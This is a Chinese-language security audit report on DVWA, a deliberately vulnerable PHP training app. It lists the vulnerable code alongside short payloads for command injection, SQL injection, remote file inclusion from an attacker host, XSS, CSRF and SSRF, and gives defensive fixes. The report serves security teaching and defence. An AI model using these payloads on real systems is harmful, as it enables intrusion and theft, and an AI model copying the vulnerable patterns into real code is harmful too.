DVWA-代码审计报告

24次阅读
没有评论

DVWA 代码审计报告

审计对象: DVWA (Damn Vulnerable Web Application) — 基于 PHP + MariaDB 的故意设计存在漏洞的 Web 安全教学/测试靶场
审计时间: 2026-08-12
审计范围: 全站 PHP 源码(含 login.php、setup.php、vulnerabilities/* 全部漏洞模块、vulnerabilities/api/* RESTful API 模块)
审计目的: 定位可导致系统权限/系统数据、用户权限/用户数据、应用权限/应用数据泄露或篡改的漏洞(反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码密钥/账号密码、XSS、SSRF、越权)

⚠️ 重要声明: DVWA 是有意的漏洞靶场,以下"漏洞"绝大部分是项目故意构造的教学样例,用于授权范围内的安全学习与测试。本报告仅作防御性安全研究参考,禁止将其中任何技术用于未授权目标。


一、审计结论摘要

# 漏洞类别 严重级别 主要位置 最大影响
1 命令执行 / RCE 🔴 严重 exec/*、api/src/HealthController.php 系统命令执行,获取系统权限/数据
2 SQL 注入 🔴 严重 sqli/*、sqli_blind/*、login.php、authbypass/change_user_details.php 拖库、绕过认证、篡改数据
3 文件上传(任意 PHP 上传) 🔴 严重 upload/* 上传 WebShell → 服务器 RCE
4 文件包含 (LFI/RFI) 🔴 严重 fi/*、view_help.php 任意文件读取 / 远程代码执行
5 硬编码密钥/凭据 🔴 严重 api/src/Login.php、Token.php、sqli/test.php、config.inc.php.dist 伪造 API Token、直接登录
6 未授权访问 🔴 严重 api/*、authbypass/* 无认证读写用户数据、改 level 提权
7 越权 / 提权 (IDOR/BAC) 🟠 高 bac/*、authbypass/* 查看/篡改任意用户数据
8 XSS(反射/存储/DOM/JSONP) 🟠 高 xss_r/*、xss_s/*、xss_d/*、csp/source/jsonp.php 窃取 Cookie/会话、CSRF 联动
9 CSRF 🟠 高 csrf/*、captcha/* 无验证改密码 → 账号接管
10 SSRF 🟠 高 api/src/HealthController.php、fi/* 内网探测/访问
11 弱会话 ID / 会话固定 🟡 中 weak_id/*、dvwaPage.inc.php 会话劫持/预测
12 反序列化 ⚪ 未发现 全站 —

结论: 本靶场在 low/medium/high 安全级别下存在覆盖用户请求全部类别的漏洞;API 模块(vulnerabilities/api/)即使在高/不可绕过级别下依然整体无认证防护且携带硬编码密钥,是最危险的攻击面。


二、漏洞详情

2.1 命令执行 / RCE

🔴 2.1.1 exec 命令注入(任意级别可控)

  • 文件: vulnerabilities/exec/source/low.php、medium.php、high.php
  • 代码(low):
$target = $_REQUEST[ 'ip' ];              // 用户完全可控
$cmd = shell_exec( 'ping -c 4 ' . $target );  // 直接拼接执行
  • 利用: ip=127.0.0.1; id → 执行 id 输出;127.0.0.1; cat /etc/passwd 等。
  • 绕过:
    • medium: 仅过滤 &&、; → 用 | 或换行绕过。
    • high: 过滤了 | (竖线+空格)等,但竖线不带空格 | 可绕过。
  • 影响: 系统命令执行 → 系统权限、系统文件、反弹 Shell。

🔴 2.1.2 API HealthController 命令注入(high lab)

  • 文件: vulnerabilities/api/src/HealthController.php:88
$target = $input['target'];                    // POST JSON 可控
exec ("ping -c 4 " . $target, $output, $ret_var);
  • 利用: POST /vulnerabilities/api/v2/health/connectivity body {"target":"127.0.0.1; id"} → 命令执行,且无需任何认证(API 无鉴权,见 2.6)。
  • 影响: 未认证 RCE,同时该端点也是 SSRF(2.10)。

🟠 2.1.3 eval() 代码执行(help 页面)

  • 文件: vulnerabilities/view_help.php:20,22
$id  = $_GET['id']; $locale = $_GET['locale'];
eval( '?>' . file_get_contents( "vulnerabilities/{$id}/help/help.{$locale}.php" ) . '<?php ' );
  • 利用: 若 $id 可被目录穿越/注入,file_get_contents 读取的内容会被 eval 当作 PHP 执行。属代码注入 + LFI 复合风险。
  • 影响: 代码执行(需配合可控可写文件或日志注入)。

🟠 2.1.4 其他 shell_exec

  • setup.php:58,61,73 — shell_exec("apachectl -M ...")、shell_exec("git ...")(参数固定,无用户输入,风险低)
  • vulnerabilities/api/index.php:33 — shell_exec("apachectl -M | grep rewrite_module")(同上,风险低)

2.2 SQL 注入

🔴 2.2.1 字符型 SQLi(low)

  • 文件: vulnerabilities/sqli/source/low.php
$id = $_REQUEST[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
  • 利用: id=1' UNION SELECT user,password FROM users-- → 拖取全部用户 MD5 密码。
  • 影响: 用户凭据泄露、认证绕过(' OR 1=1 -- )。

🔴 2.2.2 数值型 SQLi(medium,转义失效)

  • 文件: vulnerabilities/sqli/source/medium.php
$id = mysqli_real_escape_string( ... $id );
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";  // 无引号包裹
  • 利用: 转义只对引号内有效;数值上下文仍可注入 1 OR 1=1。常见转义陷阱。

🔴 2.2.3 会话输入型 SQLi(high)

  • 文件: vulnerabilities/sqli/source/high.php + sqli/session-input.php
// session-input.php:  $id = $_SESSION['id'] = $_POST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
  • 利用: 攻击者先提交 POST /vulnerabilities/sqli/session-input.php?id=1' UNION ...-- 把 payload 写入 Session,再访问查询页触发。会话作为注入点。
  • 影响: 与 2.2.1 相同,且绕过"前端输入"的表层防护。

🔴 2.2.4 盲注(布尔型)

  • 文件: vulnerabilities/sqli_blind/source/low.php、medium.php、high.php(high 用 Cookie $_COOKIE['id'])
  • 利用: 1' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE user_id=1)>90 -- 逐位爆破密码。Cookie 注入点见 sqli_blind/cookie-input.php。
  • 影响: 无回显场景下仍可逐字节窃取数据。

🔴 2.2.5 登录接口 SQLi

  • 文件: login.php:39、vulnerabilities/brute/source/medium.php:14
$query  = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
  • 利用: 用户名注入 ' OR '1'='1 配合任意 md5 值 → 无需密码登录。
  • 注意: 若无法注入,brute 模块本身就是弱凭据爆破靶(默认用户 admin/password)。

🔴 2.2.6 授权绕过模块中的 SQLi

  • 文件: vulnerabilities/authbypass/change_user_details.php:47
$query = "UPDATE users SET first_name = '" . $data->first_name . "', last_name = '" .
         $data->surname . "' where user_id = " . $data->id . "";
  • 利用: 未转义 JSON 字段直接拼接 → 任意用户 UPDATE,同时存在 SQLi(可二次注入、报错回显)。
  • 影响: 篡改任意用户数据 + SQL 注入,且低/中/高级别下任何已登录用户均可调用(见 2.7.2)。

🟡 2.2.7 API 版本回退泄露密码哈希

  • 文件: vulnerabilities/api/src/User.php:38-46
case 1: $a = array( ..., "password" => $this->password, );  // v1 返回密码字段!
  • 利用: GET /vulnerabilities/api/v1/user/ → 返回 password 字段(sha256 哈希,可离线爆破)。
  • 影响: 用户凭据泄露。

2.3 文件上传(任意文件上传 → RCE)

🔴 2.3.1 无校验上传(low)

  • 文件: vulnerabilities/upload/source/low.php
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );   // 完全信任原始文件名/无任何校验
  • 利用: 上传 shell.php → 访问 /hackable/uploads/shell.php → WebShell → 服务器 RCE(系统权限)。

🟠 2.3.2 仅校验客户端 MIME(medium)

  • 文件: vulnerabilities/upload/source/medium.php
// 仅检查 $_FILES['uploaded']['type'] == 'image/jpeg' 等(客户端可控)
  • 利用: 篡改请求 Content-Type / 用 Burp 改 type=image/jpeg → 仍上传 .php 文件。

🟠 2.3.3 扩展名白名单 + getimagesize(high)

  • 文件: vulnerabilities/upload/source/high.php
  • 利用: 双扩展名 shell.jpg.php、.jpg 内嵌 PHP 的图片马(polyglot)绕过 getimagesize(),保留原始文件名 → 组合包含触发。

2.4 文件包含 (LFI/RFI)

🔴 2.4.1 完全无校验(low)

  • 文件: vulnerabilities/fi/source/low.php + fi/index.php:36
$file = $_GET[ 'page' ];        // low: 无任何过滤
if( isset( $file ) ) include( $file );
  • 利用: ?page=/etc/passwd(LFI);若 allow_url_include=On → ?page=http://attacker/shell.txt(RFI → RCE)。

🟠 2.4.2 一次性 str_replace 绕过(medium)

  • 文件: vulnerabilities/fi/source/medium.php
$file = str_replace( array( "http://", "https://", "../" ), "", $file );  // 单次替换
  • 利用: ..././、http:/\/\ 等嵌套写法绕过 → 任意读文件。

🟠 2.4.3 fnmatch 限制 file*(high)

  • 文件: vulnerabilities/fi/source/high.php
if( !fnmatch( "file*", $file ) ) { die("..."); }
  • 利用: ?page=file:///etc/passwd → PHP 流读取任意本地文件。

🔴 2.4.4 help 页 LFI + eval 复合(再次提示)

  • 同 2.1.3:view_help.php 中 $id 可目录穿越读取任意 .php 并 eval。

2.5 硬编码密钥 / 硬编码账号密码

🔴 2.5.1 API Token 密钥硬编码(可伪造任意 Token)

  • 文件: vulnerabilities/api/src/Login.php:10,12、api/src/Token.php:10
private const ACCESS_TOKEN_SECRET  = "12345";
private const REFRESH_TOKEN_SECRET = "98765";
private const ENCRYPTION_KEY = "Paintbrush";   // aes-128-gcm 加密密钥
  • 利用: 知道密钥即可用 openssl 自造通过校验的 access/refresh token(secret + expires 结构可见),彻底绕过 API 认证。
  • 影响: 伪造任何用户身份的 API Token。

🔴 2.5.2 API 登录硬编码账号密码

  • 文件: vulnerabilities/api/src/LoginController.php:60,86,96
if ($username == "mrbennett" && $password == "becareful") { ... }
if ($client_id == "1471.dvwa.digi.ninja" && $client_secret == "ABigLongSecret") { ... }
  • 利用: 直接使用源码中的明文凭据登录换取合法 Token。

🔴 2.5.3 数据库默认口令 & 种子账号

  • 文件: config/config.inc.php.dist:18-22
$_DVWA['db_server']='127.0.0.1'; $_DVWA['db_database']='dvwa';
$_DVWA['db_user']='dvwa';        $_DVWA['db_password']='p@ssw0rd';
  • 文件: database/dvwa/includes/DBMS/MySQL.php(setup 种子数据,MD5 存储):
    • admin/admin、gordonb/abc123、1337/charley、pablo/letmein、smithy/password
  • 影响: 默认口令直接登录应用;DB 口令可用于直连数据库读写全量数据。

🔴 2.5.4 MSSQL 测试脚本硬编码口令

  • 文件: vulnerabilities/sqli/test.php
$host = "192.168.0.7"; $username = "dvwa"; $password = "password";  // MSSQL 直连凭据

🟠 2.5.5 加密模块 XOR 密钥 + 口令

  • 文件: vulnerabilities/cryptography/source/low.php:16,41
$xor_key = "wachtwoord";            // XOR 密钥
if ($password == "Olifant") { ... } // 硬编码口令

🟠 2.5.6 API 新增用户固定默认密码

  • 文件: vulnerabilities/api/src/UserController.php:167
$user = new User(null, $input['name'], intval($input['level']), hash("sha256", "password"));
  • 利用: 新增用户密码固定为 "password",可被接管。

2.6 未授权访问(无认证 / CORS 放行)

🔴 2.6.1 API 整体无鉴权 + CORS 通配

  • 文件: vulnerabilities/api/public/index.php:11、UserController.php(processRequest 无任何 token 校验)
header("Access-Control-Allow-Origin: *");
  • 利用:
    • GET /vulnerabilities/api/v2/user/ → 列出全部用户(含 level 角色信息);
    • PUT /vulnerabilities/api/v2/user/1 body {"name":"x","level":0} → 将任意用户提权为 admin(level 0);
    • DELETE /vulnerabilities/api/v2/user/{id}、POST .../user/ → 任意删/建用户;
    • 任意网站(CORS *)可用 JS 直接调用上述接口 —— 跨域越权操作。
  • 影响: 未认证管理用户、提权、数据增删改。

🔴 2.6.2 认证关闭开关

  • 文件: config/config.inc.php.dist:43
$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;
  • 利用: 若部署时开启 DISABLE_AUTHENTICATION=true,全部页面不再校验登录。

2.7 越权 / 授权绕过 (IDOR / BAC)

🔴 2.7.1 认证绕过 — 用户数据接口(low/medium 无管理员校验)

  • 文件: vulnerabilities/authbypass/get_user_data.php:10
if ((security == "high" || security == "impossible") && dvwaCurrentUser() != "admin") { deny; }
// low / medium 级别下:任何已登录用户均可 SELECT 全部用户
  • 影响: 普通用户窃取全部用户信息。

🔴 2.7.2 认证绕过 — 修改任意用户(low/medium/high 均可)

  • 文件: vulnerabilities/authbypass/change_user_details.php:11
if (security == "impossible" && dvwaCurrentUser() != "admin") { deny; }
// 其余级别:无任何身份/权限校验,直接 UPDATE users
  • 利用: 任意已登录用户 POST {"id":1,"first_name":"x","surname":"y"} 篡改 admin 等任意用户资料(并含 SQLi,见 2.2.6)。

🟠 2.7.3 Cookie 控制身份(low)

  • 文件: vulnerabilities/bac/source/low.php:30-33,89-94
if ($id == $_COOKIE['user_id']) { ... }   // 客户端 Cookie 决定可访问对象
$role = $_COOKIE['user_role'];             // Cookie 决定角色
  • 利用: 修改 Cookie user_id=1、user_role=admin → 任意用户数据 + 提权;同时该页 SQLi + 日志存储 XSS。

🟠 2.7.4 硬编码 token 绕过(medium)

  • 文件: vulnerabilities/bac/source/medium.php:26
if (isset($_GET['token']) && $_GET['token'] == 'user_token') { ... }  // 固定字符串
  • 利用: ?token=user_token 即通过校验(页面 HTML 注释里直接提示)。

🟠 2.7.5 API 修改用户 level 提权

  • 同 2.6.1:UserController.php:224-226 允许未认证 PUT 任意修改 level。

2.8 XSS

🟠 2.8.1 反射型 XSS

  • 文件: vulnerabilities/xss_r/source/low.php
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';   // 未编码直接输出
  • medium (xss_r/source/medium.php): 仅过滤 <script> → <img src=x onerror=alert(1)> 绕过。
  • high (xss_r/source/high.php): preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', ...) 大小写/嵌套可绕过。

🟠 2.8.2 存储型 XSS

  • 文件: vulnerabilities/xss_s/source/low.php、medium.php、high.php
  • 代码(low/medium):
$message = $_POST[ 'mtxMessage' ]; $name = $_POST[ 'txtName' ];   // 未编码入库
INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );
  • 输出侧(dvwaPage.inc.php 的 dvwaGuestbook())在 low/medium 下不做 htmlspecialchars,任何访问留言板的用户触发。
  • high: name 仅过滤 <script>(preg_replace,可绕过);message 已 htmlspecialchars。
  • 影响: 持久化恶意脚本 → 窃取任意访问者 Cookie/会话,配合 CSRF 接管账号。

🟠 2.8.3 DOM XSS

  • 文件: vulnerabilities/xss_d/index.php(document.write(document.location.href ...) 截取 default= 参数)
  • 利用: #default=<script>...</script>(high 白名单 English/French/Spanish/German 之外可注入其他标签)。
  • 影响: 不经过服务器,纯前端执行。

🟠 2.8.4 JSONP 回调注入(反射型 XSS)

  • 文件: vulnerabilities/csp/source/jsonp.php:12
$callback = $_GET['callback'];   // 无任何过滤
echo $callback . "(".json_encode($outp).")";
  • 利用: ?callback=<script>alert(1)</script> → 反射 XSS / 任意 JS 上下文注入。

🟠 2.8.5 BAC 日志存储型 XSS

  • 文件: vulnerabilities/bac/index.php(日志列表未转义输出)+ bac/source/low.php:79-81(X-Forwarded-For 直接入日志)
  • 利用: 伪造 X-Forwarded-For: <script>...</script> 写入日志,管理员查看日志触发。

2.9 CSRF

🟠 2.9.1 无令牌 GET 改密(low)

  • 文件: vulnerabilities/csrf/source/low.php
// GET 请求直接修改密码,无 CSRF token
  • 利用: 构造 <img src="http://dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"> 诱导受害者访问 → 改密 → 账号接管。

🟠 2.9.2 Referer 校验可绕过(medium)

  • 文件: vulnerabilities/csrf/source/medium.php
if (stripos($_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ]) !== false) { ... }
  • 利用: 空 Referer / 站内可控页面发起即可绕过。

🟠 2.9.3 CAPTCHA 只在第一步(low)

  • 文件: vulnerabilities/captcha/source/low.php
  • 利用: 第一步过验证码拿到 passed_captcha 后,第二步直接 POST 改密无需验证码;medium 则信任隐藏字段 $_POST['passed_captcha'],可伪造。
  • high: hidd3n_valu3 + UA reCAPTCHA 后端放行(captcha/source/high.php:20-21)。

🟡 2.9.4 登录/改密流程 CSRF

  • login.php、brute/high.php 等均依赖可预测的 md5(uniqid()) token(见 2.11.3),存在预测/复用风险。

2.10 SSRF

🟠 2.10.1 API connectivity 端点

  • 文件: vulnerabilities/api/src/HealthController.php:83-88(无认证)
  • 利用: POST /vulnerabilities/api/v2/health/connectivity body {"target":"169.254.169.254"} / 内网 IP → 用 ping 探测内网主机存活(同时为命令注入点 2.1.2)。

🟠 2.10.2 文件包含 RFI

  • fi/* low/medium 在 allow_url_include=On 时支持远程 URL → 任意外部资源包含(RFI,见 2.4.1)。

2.11 弱会话 ID / 会话安全

🟡 2.11.1 可预测会话 ID

  • 文件: vulnerabilities/weak_id/source/low.php(顺序整数)、medium.php(time())、high.php(md5(计数器))
  • 利用: 预测/遍历他人会话 ID → 会话劫持。

🟡 2.11.2 会话固定(非 impossible)

  • 文件: dvwa/includes/dvwaPage.inc.php
if (安全级别非 impossible) session_id( $_COOKIE[ session_name() ] );   // 允许外部指定 session id
  • 利用: 先指定自己的 session_id 诱导受害者登录,再复用 → 登录后保持攻击者可控会话。

🟡 2.11.3 CSRF token 生成弱

  • 文件: dvwa/includes/dvwaPage.inc.php
$_SESSION[ 'session_token' ] = md5( uniqid() );   // 弱随机,可预测/爆破

2.12 反序列化

  • 全站 grep 检索 unserialize、unserialize_callback_func:未发现任何反序列化调用。
  • 结论: 本代码库无 PHP 对象反序列化漏洞。攻击面集中在 SQL 注入、命令注入与文件上传等(见上文)。

2.13 其他风险点

  • 错误信息回显(辅助漏洞): sqli/*、login.php、authbypass/change_user_details.php 均使用 or die(mysqli_error(...)) → 报错型注入与信息泄露,加速拖库。
  • CORS 通配: 见 2.6.1。
  • 明文算法: 密码普遍使用 md5(可查彩虹表);cryptography 模块为可逆 XOR 加密。
  • 客户端"安全"逻辑: javascript/source/low.php 的 token 为客户端 md5(rot13()),可被任意绕过。
  • 源码查看页泄露: view_source.php 允许低权限用户查看所有级别源码(教学特性,但也是信息泄露)。

三、按安全级别汇总

安全级别 代表性可攻击面 说明
low 全部模块全部漏洞 无任何防护
medium 转义/黑名单/BAC token/Referer 均绕过 黑名单思路通病
high SQLi 转 Session/Cookie、LFI file://、exec 竖线绕过、BAC 仅 impossible 拦截 仍需白名单 + 参数化
impossible 大部分 lab 已修复;但 API 模块仍整体无认证 + 硬编码密钥 修复不彻底

⚠️ 特别说明: vulnerabilities/api/* 的 /vulnerabilities/api/v2/user/*、/health/connectivity 等端点在任意安全级别下都无身份认证,且依赖硬编码密钥(12345/98765/Paintbrush)与固定口令(mrbennett/becareful、1471.dvwa.digi.ninja/ABigLongSecret),是全站最严重、且不可通过切换安全级别修复的攻击面。


四、修复建议(防御视角)

  1. SQL 注入: 全部改用 PDO 预处理语句(如 sqli/source/impossible.php 的写法);删除 or die(mysqli_error())。
  2. 命令注入/RCE: 禁止拼接 shell;改用 escapeshellarg() + 白名单校验 IP;exec/shell_exec 尽量用参数数组形式;移除 eval(),帮助文件用白名单映射。
  3. 文件上传: 服务端白名单扩展名 + 内容校验 + 随机重命名(参照 impossible.php)+ 存储目录禁止执行脚本(.htaccess php_flag engine off)。
  4. 文件包含: 用固定映射/白名单替代直接拼路径;禁用 allow_url_include。
  5. API: 为所有端点加统一鉴权中间件;密钥与口令移入环境变量并改为强随机;UserController 的 level 修改需管理员角色校验;删除 v1 的 password 返回。
  6. 越权/BAC: 服务端基于会话身份判断资源归属/角色,绝不信任 Cookie/请求参数;change_user_details/get_user_data 在全部级别加管理员校验。
  7. XSS: 输出统一 htmlspecialchars(ENT_QUOTES);JSONP 白名单回调;CSP 收紧。
  8. CSRF: 全站强随机 token + SameSite Cookie;改密/登录走 POST。
  9. 硬编码凭据: 全局检索并外置到环境变量/密钥管理;更换默认口令与种子账号。
  10. 会话: 使用 PHP 原生安全 session(session_regenerate_id),禁止客户端指定 session_id;ID 用 CSPRNG。
  11. CORS: 移除 *,仅允许受信来源。

五、审计范围与方法

  • 全量阅读 vulnerabilities/* 各模块的 low/medium/high/impossible 源码及入口文件;
  • 全站 grep 危险函数: unserialize、eval、system、passthru、shell_exec、exec、popen、include、require、curl、file_get_contents、mysqli_query;
  • 全站 grep 硬编码凭据模式: password、secret、key、admin、p@ssw0rd 等。
  • 参考文档: OWASP Top 10 / WSTG。
正文完
 0